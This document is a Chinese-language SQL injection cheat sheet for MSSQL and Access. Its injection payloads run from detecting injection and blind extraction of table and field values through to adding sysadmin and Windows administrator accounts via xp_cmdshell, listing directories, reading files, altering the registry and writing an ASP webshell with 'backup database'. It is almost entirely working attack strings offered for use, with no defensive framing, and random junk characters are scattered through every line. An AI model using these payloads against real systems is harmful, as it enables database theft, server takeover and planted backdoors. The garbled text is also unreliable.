1.判断是否有注入;and 1=1 ;and 1=2 =* G3Khz!
2.初步判断是否是mssql ;and user>0 7mq&]4-G
m^!:n$
3.注入参数是字符'and [查询条件] and ''=' 4j~q,#$LW
~n-Px)
4.搜索时没过滤参数的'and [查询条件] and '%25'=' XVkw/l
N"}>);r
5.判断数据库系统 Xf_#O'z
mFg$;F
;and (select count(*) from sysobjects)>0 mssql U|]cB
S=ZZ[E_~S
;and (select count(*) from msysobjects)>0 access ffG<hclk
PJiU2Y33
o`QNZN7/}
4^uSW&`;/
6.猜数据库 ;and (select Count(*) from [数据库名])>0 E{EO9EI
KJRAW]?{
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 +!0K]$VZs
0S^&A?$=
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qmFG
tBbOxM m0
9.(1)猜字段的ascii值(access) PQDLbSe)\
\?;
`_E`j
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0W(mx-[H/
][wb4$2
(2)猜字段的ascii值(mssql) ]R_R`X?
n9xP8<w8
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 .ojEKu+EJ'
gYhY1Mym
10.测试权限结构(mssql) `p&[b]b
>*RU:X
?D6uviQg
_8a;5hS
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- qS#G7~ur>y
Hl,{4%]
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- >=[uLY[aK
S[1<Qrv]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- hE|P|0U,n
.Q%Hi7JMi
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,c4HicRJ#
X>8,C^~$1
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- g3z/yj
F%h3?"s
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- . :Skc
j:h}ka/!p
;and 1=(select IS_MEMBER('db_owner'));-- \IE![=p\w
HohCb4do
!HvA5'|:}
pR$(V4>
11.添加mssql和系统的帐户 D`T;j[SsS#
6N#hN)/
;exec master.dbo.sp_addlogin username;-- U?#wWbE1
;exec master.dbo.sp_password null,username,password;-- P9/ (f$ =
|Y>Jf~SN
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- iM@$uD$_Q2
q#tUDxf(|
;exec master.dbo.xp_cmdshell 'net user username password 5p (zhfuG
Qs elW]
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- j|t=%*
UDHWl_%L
;exec master.dbo.xp_cmdshell 'net user username password /add';-- rP:g`?*V
{Sf[<I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ,WRm{v0f^
U05;qKgkDF
OP`f[lCiL
&"^F;z/
12.(1)遍历目录 Ca|egQv
lS4r pbU_
;create table dirs(paths varchar(100), id int) ?H=q!i
WO_Uc_R
;insert dirs exec master.dbo.xp_dirtree 'c:\' /W/e%.
eX+36VG\
;and (select top 1 paths from dirs)>0 w*-42r3,'
U?UU]>Q
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) oX|T&"&
e9o\qEm
<y@vv
1Cw]~jh
(2)遍历目录 }R%H?&P
aUaeK(x:H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6kYluV+j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 X`.##S KC
{y9G
"
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 i"h\*B=
w:t~M[kTW
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 $*ff]>#
4j={ 9e<
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 V4[-:k
!Y ,7%
x4WCAqi/2
z`zz8hK.
13.mssql中的存储过程 lU{)%4e`
n 9B5D:.G
xp_regenumvalues 注册表根键, 子键 gJQ#j~'
pF{jIXu
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [Fl_R[o
)9hqd
xp_regread 根键,子键,键值名 NoiB98g
EhxpMTS
;exec xp_regread
?9`j1[0
1Gsh%0r3
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 /eV)5`V
V$?6%\M^*
xp_regwrite 根键,子键, 值名, 值类型, 值 k+J%o%* <
[d`E9&Hv3
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 KN}#8.'>3
kelBqJ-,p
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 `
,\b_SFg
"w:h
xp_regdeletevalue 根键,子键,值名 !"N,w9MbD
BJjic% V
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,"EaZ/Bl/
0V:H/qu8>
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 |'h(S|
L/i'6(="
t#^Cem<
1SExlU
14.mssql的backup创建webshell 8 0tA5AP
bo\ bs1
use model vNSUrf,r
c,a8#Og
create table cmd(str image); Z[#8F&QV!m
Z)7{~xq
insert into cmd(str) values (''); &qx/ZT
&W45.2
backup database model to disk='c:\l.asp'; p:~#(/GWf
V'kBF2}
dla_uXtM6
1CC0]pyHX
15.mssql内置函数 cfTT7O#Dc
y\??cjWb]
;and (select @@version)>0 获得Windows的版本号 |/Vq{gxp+
i]ZGq7YJ%
;and user_name()='dbo' 判断当前系统的连接用户是不是sa U1YqyG8
pr<u
5
;and (select user_name())>0 爆当前系统的连接用户 Cj=R\@
<f>77vh0
;and (select db_name())>0 得到当前连接的数据库 RN`TUCQL
:Qa*-)rs
\rr"EAk]
G<C D4:V
16.简洁的webshell #:?:gY<
%r^tZ ;;l
use model .#&)%}GC
tj;47UtH
create table cmd(str image); G#%Sokkb'
& DP"RWT/
insert into cmd(str) values (''); TCp9C1Q4
<Y`(J#
backup database model to disk='g:\wwwtest\l.asp';